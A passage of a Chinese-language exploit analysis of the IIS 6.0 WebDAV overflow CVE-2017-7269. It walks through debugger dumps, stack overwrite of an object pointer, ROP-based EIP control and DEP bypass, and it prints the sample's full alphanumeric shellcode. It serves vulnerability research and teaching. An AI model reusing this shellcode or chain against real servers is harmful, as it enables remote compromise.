68031300 46 36 75 67 33 44 71 38-65 57 62 5a 35 54 61 56 F6ug3Dq8eWbZ5TaV
68031310 52 69 53 6a 57 51 4e 38-48 59 55 63 71 49 64 43 RiSjWQN8HYUcqIdC
68031320 72 64 68 34 58 47 79 71-6b 33 55 6b 48 6d 4f 50 rdh4XGyqk3UkHmOP
68031330 46 7a 71 34 54 6f 43 74-56 59 6f 6f 41 73 57 34 Fzq4ToCtVYooAsW4
0:006> db
68031340 68 61 72 7a 45 37 49 4d-4e 57 48 54 38 4c 7a 36 harzE7IMNWHT8Lz6
68031350 72 35 66 62 43 6e 6d 48-48 35 77 61 5a 4d 74 61 r5fbCnmHH5waZMta
68031360 33 41 65 43 72 52 69 6d-71 36 64 4e 39 6e 53 63 3AeCrRimq6dN9nSc
68031370 64 6b 46 51 30 4f 6f 78-53 72 50 67 53 45 63 7a dkFQ0OoxSrPgSEcz
68031380 39 71 53 4f 56 44 36 6f-79 73 77 68 56 7a 4a 61 9qSOVD6oyswhVzJa
68031390 45 39 39 36 39 6c 31 45-72 34 65 53 4a 58 4e 44 E9969l1Er4eSJXND
680313a0 44 7a 35 6c 56 5a 41 62-72 6e 31 66 59 59 33 54 Dz5lVZAbrn1fYY3T
680313b0 42 31 65 58 41 59 50 71-36 30 77 57 57 44 61 53 B1eXAYPq60wWWDaS
0:006> db
680313c0 c0 13 03 68 4f 6e 00 68-4f 6e 00 68 47 42 6a 76 ...hOn.hOn.hGBjv
680313d0 c0 13 03 68 57 42 74 4f-47 59 34 52 66 4b 42 4b ...hWBtOGY4RfKBK
680313e0 64 74 6f 78 82 60 01 68-35 51 7a 72 7a 74 47 4d dtox.`.h5QzrztGM
680313f0 59 44 57 57 13 b1 00 68-76 31 6f 6e e3 24 01 68 YDWW...hv1on.$.h
68031400 60 14 03 68 00 03 fe 7f-ff ff ff ff c0 13 03 68 `..h...........h
68031410 6e 04 03 68 6e 71 70 74-34 14 03 68 e7 29 01 68 n..hnqpt4..h.).h
68031420 91 93 00 68 31 39 6e 66-55 49 52 30 6b 54 6b 76 ...h19nfUIR0kTkv
68031430 4a 72 61 79 1c 14 03 68-05 6e 00 68 32 77 68 79 Jray...h.n.h2why

3.4 控制 EIP

在函数 HrCheckIfHeader 返回后,后面会跳转到 CParseLockTokenHeader::HrGetLockIdForPath 中去执行,而后者也会多次调用 CMethUtil::ScStoragePathFromUrl 这个函数。同样,解析 URL 第一部分(http://localhost/aaaaaaa....)时完成栈溢出,此时会覆盖到一个引用 CMethUtil 对象的局部变量;在解析 URL 第二部分(http://localhost/bbbbbbb....)时,因为 CMethUtil 已经伪造好,其成员 IEcb 实例同样完成伪造,最后在 ScStripAndCheckHttpPrefix 中实现 EIP 的控制。

CPutRequest::Execute
├──HrCheckStateHeaders
│ └──HrCheckIfHeader
│ ├──CMethUtil::ScStoragePathFromUrl
│ └──CMethUtil::ScStoragePathFromUrl

└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath
├──CMethUtil::ScStoragePathFromUrl
└──CMethUtil::ScStoragePathFromUrl

(1) FGetLockHandle 分析
函数 FGetLockHandle 里面构造了一个 CParseLockTokenHeader 对象,存储于栈上的一个局部变量引用了这个对象 (这一点很重要),调用该对象的成员函数 HrGetLockIdForPath 进入下一阶段。

int __stdcall FGetLockHandle(
struct CMethUtil *a1, wchar_t *Str,
unsigned __int32 a3, const unsigned __int16 *a4,
struct auto_ref_handle *a5)
{
signed int v5; // eax@1
int result; // eax@2
CParseLockTokenHeader *v7; // [sp+0h] [bp-54h]@1
union _LARGE_INTEGER v8; // [sp+40h] [bp-14h]@1
int v9; // [sp+50h] [bp-4h]@1

v7 = CParseLockTokenHeader(a1, a4);
v9 = 0;
v7->SetPaths(Str, 0);
v5 = v7->HrGetLockIdForPath(Str, a3, &v8, 0);
v9 = -1;
if ( v5 >= 0 )
{
result = FGetLockHandleFromId(a1, v8, Str, a3, a5);
}
else
{
result = 0;
}
return result;
}

(2) HrGetLockIdForPath 分析
HrGetLockIdForPathHrCheckIfHeader 有点类似,同样存在两个 CStackBuffer 变量。不同的是,v22.HighPart 指向父级函数 HrGetLockIdForPath 中引用 CParseLockTokenHeader 对象的局部变量,而且这里也会将其转换为 CMethUtil 类型使用。

在解析 URL 第一部分(http://localhost/aaaaaaa....)时,通过栈溢出可以覆盖引用 CParseLockTokenHeader 对象的局部变量,栈布局如下所示。

┌─────────────────────────┐
│ v7 (FGetLockHandle) │ CParseLockTokenHeader <────┐
├─────────────────────────┤ ↑o │
│ ...... │ │v │
├─────────────────────────┤ │e │
│ 2.heap_buffer│ ebp-14 │r │
├─────────────────────────┤ │f │
│ 2.fake_heap_size│ ebp-18 │l │
├─────────────────────────┤ │o │
│CStackBuffer2.buffer[260]│ ebp-11C │w │
├─────────────────────────┤ <-------- overwrite data │
│ 1.heap_buffer│ ebp-120 -> heap (url part1)│
├─────────────────────────┤ │
│ 1.fake_heap_size│ ebp-124 │
├─────────────────────────┤ │
│CStackBuffer1.buffer[260]│ ebp-228 │
├─────────────────────────┤ │
│ ...... │ │
├────────────┬────────────┤ │
│ v22.LowPart│v22.HighPart│ ebp-240 (LARGE_INTEGER) ──┘
└────────────┴────────────┘

栈上的数据分布如下所示:

0:006> dds ebp-18
03fafbb8 00000412 --------> CStackBuffer2.fake_heap_size
03fafbbc 03fafab4 --------> CStackBuffer2.buffer[260]
03fafbc0 00000168
03fafbc4 03fafc30
03fafbc8 67140bdd httpext!swscanf+0x137d --> ret addr
03fafbcc 00000002
03fafbd0 03fafc3c
03fafbd4 6711aba9 httpext!FGetLockHandle+0x40
03fafbd8 07874c2e
03fafbdc 80000000
03fafbe0 03fafc28
03fafbe4 00000000
03fafbe8 07872fc0 --------> CParseLockTokenHeader xx
03fafbec 0788c858
03fafbf0 0788c858


$$ CMethUtil
0:006> r ecx
ecx=07872fc0

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8

$$ CStackBuffer2.buffer[260]
0:006> ?ebp-11C
Evaluate expression: 66779828 = 03fafab4

分析栈的布局可以知道,在复制 260+12*4=308 字节数据后,后续的 4 字节数据将覆盖引用 CParseLockTokenHeader 对象的局部变量。需要注意的是,这里所说的 308 字节,是 URL 转变成物理路径后的前 308 字节。执行完 CMethUtil::ScStoragePathFromUrl 之后,680313c0 被填充到父级函数中引用 CParseLockTokenHeader 对象所在的局部变量。

$$ LARGE_INTEGER v22
0:006> dd ebp-240 L2
03faf990 5a3211a0 03fafbe8

0:006> dd 03fafbe8 L1
03fafbe8 680313c0

(3) ScStripAndCheckHttpPrefix 分析
在解析 URL 第二部分(http://localhost/bbbbbbb....)时,由于引用 CParseLockTokenHeader 对象的局部变量的值已经被修改,所以会使用伪造的对象,最终在函数 ScStripAndCheckHttpPrefix 中完成控制权的转移。

CPutRequest::Execute
└──FGetLockHandle
└──CParseLockTokenHeader::HrGetLockIdForPath ecx = 0x680313C0
├──CMethUtil::ScStoragePathFromUrl ecx = 0x680313C0
│ └──ScStoragePathFromUrl ecx = [ecx+0x10]=0x680313C0
│ └──ScStripAndCheckHttpPrefix call [[ecx]+0x24]
└──CMethUtil::ScStoragePathFromUrl

接管控制权后,将开始执行 ROP 代码。

0:006> dd 680313C0 L1
680313c0 680313c0

0:006> dd 680313C0+10 L1
680313d0 680313c0

0:006> dd 680313C0+24 L1
680313e4 68016082

0:006> u 68016082
rsaenh!_alloca_probe+0x42:
68016082 8be1 mov esp,ecx
68016084 8b08 mov ecx,dword ptr [eax]
68016086 8b4004 mov eax,dword ptr [eax+4]
68016089 50 push eax
6801608a c3 ret
6801608b cc int 3
6801608c cc int 3
6801608d cc int 3

3.5 绕过 DEP

在执行 ROP 代码片段时,会跳转到 KiFastSystemCall 去执行,这里将 EAX 寄存器的值设置为 0x8F,也就是 NtProtectVirtualMemory 的服务号,函数的参数通过栈进行传递。

0:006> dds esp
68031400 68031460 --> return address
68031404 7ffe0300 --> SharedUserData!SystemCallStub
68031408 ffffffff --> ProcessHandle, CURRENT_PROCESS
6803140c 680313c0 --> BaseAddress
68031410 6803046e --> RegionSize, 0x48
68031414 00000040 --> NewProtectWin32, PAGE_EXECUTE_READWRITE
68031418 68031434 --> OldProtect

TK 在 CanSecWest 2013 的演讲《DEP/ASLR bypass without ROP/JIT》[4] 中提到:

SharedUserData is always fixed in 0x7ffe0000 from Windows NT 4 to Windows 8
0x7ffe0300 is always point to KiFastSystemCall
Only work on x86 Windows

这里就是用了 0x7ffe0300 这个地址来定位 KiFastSystemCall(关于 KiFastSystemCall 的介绍,可以参考文档 《KiFastCallEntry() 机制分析》 [5])。

3.6 Shellcode

样本中的 Shellcode 如下:

VVYA4444444444QATAXAZAPA3QADAZABARALAYAIAQAIAQAPA5AAAPAZ1AI1AIAIAJ11AIAI
AXA58AAPAZABABQI1AIQIAIQI1111AIAJQI1AYAZBABABABAB30APB944JB6X6WMV7O7Z8Z8
Y8Y2TMTJT1M017Y6Q01010ELSKS0ELS3SJM0K7T0J061K4K6U7W5KJLOLMR5ZNL0ZMV5L5LM
X1ZLP0V3L5O5SLZ5Y4PKT4P4O5O4U3YJL7NLU8PMP1QMTMK051P1Q0F6T00NZLL2K5U0O0X6
P0NKS0L6P6S8S2O4Q1U1X06013W7M0B2X5O5R2O02LTLPMK7UKL1Y9T1Z7Q0FLW2RKU1P7XK
Q3O4S2ULR0DJN5Q4W1O0HMQLO3T1Y9V8V0O1U0C5LKX1Y0R2QMS4U9O2T9TML5K0RMP0E3OJ
Z2QMSNNKS1Q4L4O5Q9YMP9K9K6SNNLZ1Y8NMLML2Q8Q002U100Z9OKR1M3Y5TJM7OLX8P3UL
Y7Y0Y7X4YMW5MJULY7R1MKRKQ5W0X0N3U1KLP9O1P1L3W9P5POO0F2SMXJNJMJS8KJNKPA

前面分析到函数 CRequest::LpwszGetHeader 会把其转成 UNICODE 字符串,所以在内存中长这个样子:

0:006> db 68031460
68031460 55 00 56 00 59 00 41 00-34 00 34 00 34 00 34 00 U.V.Y.A.4.4.4.4.
68031470 34 00 34 00 34 00 34 00-34 00 34 00 51 00 41 00 4.4.4.4.4.4.Q.A.
68031480 54 00 41 00 58 00 41 00-5a 00 41 00 50 00 41 00 T.A.X.A.Z.A.P.A.
68031490 33 00 51 00 41 00 44 00-41 00 5a 00 41 00 42 00 3.Q.A.D.A.Z.A.B.
680314a0 41 00 52 00 41 00 4c 00-41 00 59 00 41 00 49 00 A.R.A.L.A.Y.A.I.
680314b0 41 00 51 00 41 00 49 00-41 00 51 00 41 00 50 00 A.Q.A.I.A.Q.A.P.
680314c0 41 00 35 00 41 00 41 00-41 00 50 00 41 00 5a 00 A.5.A.A.A.P.A.Z.
680314d0 31 00 41 00 49 00 31 00-41 00 49 00 41 00 49 00 1.A.I.1.A.I.A.I.

这是所谓的 Alphanumeric Shellcode [6],可以以 ASCII 或者 UNICODE 字符串形式呈现 Shellcode。

3.7 The Last Question

最后一个问题是,在 Exploit 的两个 URL 之间存在 (Not <locktoken:write1>) 这样一个字符串,这个字符串的作用是什么呢?如果删掉这个字符串,Exploit 就失效了,因为 HrCheckIfHeader 中解析 URL 的流程中断了,而解析流程得以继续的关键是 while 循环中嵌套的 for 循环对 IFITER::PszNextToken(2) 的调用。需要注意的是,这里传递的参数值是 2,而分析 IFITER::PszNextToken() 的反汇编代码,可以知道这个字符串只要满足一定的形式就可以了,如 (nOt <hahahahah+asdfgh>) 或者 (nOt [hahahahah+asdfgh]) 都是可以的。

int __thiscall IFITER::PszNextToken(int this, signed int a2)
{
//......
if ( !_wcsnicmp(L"not", (const wchar_t *)v4, 3u) )
{
*(_DWORD *)(v2 + 4) += 6;
*(_DWORD *)(v2 + 28) = 1; // ----> 设置值
while ( **(_WORD **)(v2 + 4) && iswspace(**(_WORD **)(v2 + 4)) )
*(_DWORD *)(v2 + 4) += 2;
if ( !**(_WORD **)(v2 + 4) )
return 0;
}
v17 = **(_WORD **)(v2 + 4);
if ( v17 == '<' )
{
LABEL_64:
v23 = '>';
goto LABEL_65;
}
if ( v17 != '[' )
return 0;
v23 = ']';
LABEL_65:
v20 = *(_DWORD *)(v2 + 4);
v21 = wcschr((const wchar_t *)(v20 + 2), v23);
*(_DWORD *)(v2 + 4) = v21;
if ( !v21 )
return 0;
*(_DWORD *)(v2 + 4) = v21 + 1;
v22 = v2 + 8;
StringBuffer<char>::AppendAt(0,
2 * ((signed int)((char *)v21 - v20) >> 1) + 2, v20);
StringBuffer<char>::AppendAt(*(_DWORD *)(v22 + 8),
2, &gc_wszEmpty);
return *(_DWORD *)v22;
}

不过 not 字符串是不能替换的,因为这里会影响程序的执行流程。从上面的代码可以看出,存在 not 字符串时会将对象偏移 28 (0x1C) 处的值设置为 1,这个值会决定父级函数中的一个跳转(goto LABEL_27)是否执行。

// v22      -> ebp-44C
// ifilter -> ebp-468
// 0x468 + 0x1C = 0x44C

if ( !FGetLastModTime(0, v8, &v23) || !FETagFromFiletime(
&v23, &String, *((const struct IEcb **)a1 + 4)) )
{
LABEL_26:
if ( v22 ) // ==1
goto LABEL_27;
goto LABEL_30;
}

要编写一个真实环境中通用的 Exploit,还需要考虑许多其他因素,比如 IIS 设置的物理路径等,文章 [7] 列举了一些注意事项。

此外,文章 [8] 提到了一种基于 HTTP 回传信息的方法。

当然,关于编写通用 Exploit 所需要注意的细节,也可以参考 NSA 的 Explodingcan 的参数设置。

NSA Explodingcan 参数设置

5. References

[1] https://github.com/edwardz246003/IIS_exploit

[2] https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2017-7269

[3] https://0patch.blogspot.com/2017/03/0patching-immortal-cve-2017-7269.html

[4] https://cansecwest.com/slides/2013/DEP-ASLR%20bypass%20without%20ROP-JIT.pdf

[5] http://www.mouseos.com/windows/kernel/KiFastCallEntry.html

[6] https://github.com/SkyLined/alpha3

[7] https://xianzhi.aliyun.com/forum/read/1458.html

[8] https://ht-sec.org/cve-2017-7269-hui-xian-poc-jie-xi/


About Joyk


Aggregate valuable and interesting links.
Joyk means Joy of geeK